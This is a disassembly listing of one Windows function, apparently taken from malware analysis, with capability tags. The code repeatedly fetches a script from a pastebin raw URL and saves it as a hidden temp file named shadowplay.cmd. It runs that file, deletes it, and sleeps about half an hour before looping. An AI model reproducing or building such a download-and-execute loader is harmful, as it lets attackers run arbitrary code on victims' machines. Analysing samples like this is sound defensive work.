Function at 0x140001370
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov ecx, 0x1d4c0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 3
call qword [sym.imp.libcurl.dll_curl_global_init]
xor r14d, r14d
lea r15, [0x1400050b8]
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rsi, rax
test rax, rax
je 0x14000160f
lea r8, str.https:__pastebin.com_raw_PhYdj1JS
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x1400011e0]
mov edx, 0x4e2b
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
test eax, eax
jne 0x1400015dd
xor edx, edx
lea rcx, [rbp - 0x20]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140001441
lea rcx, str.Failed_to_get_temp_path
jmp 0x1400015e4
lea r8, str.shadowplay.cmd
mov edx, 0x104
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x82
lea rcx, [rbp - 0x20]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
test rax, rax
jne 0x140001496
lea rcx, str.Failed_to_create_temp_file
jmp 0x1400015e4
cmp qword [0x1400050d0], 0xf
lea r9, [rsp + 0x68]
mov r8d, dword [0x1400050c8]
mov rdx, r15
cmova rdx, qword [0x1400050b8]
mov rcx, rdi
mov dword [rsp + 0x68], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400014de
mov eax, dword [rsp + 0x68]
mov ebx, 1
cmp rax, qword [0x1400050c8]
je 0x1400014e1
mov ebx, r14d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1400015c5
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x2c], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400015ad
lea rcx, str.Script_running...
call fcn.140001270
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Script_finished
call fcn.140001270
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1400015e9
lea rcx, str.Failed_to_create_process
call fcn.140001270
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1400015e9
lea rcx, str.Failed_to_write_to_file
call fcn.140001270
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1400015e9
lea rcx, str.Failed_to_perform_request
call fcn.140001270
cmp qword [0x1400050d0], 0xf
mov rax, r15
mov qword [0x1400050c8], r14
mov rcx, rsi
cmova rax, qword [0x1400050b8]
mov byte [rax], r14b
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013c4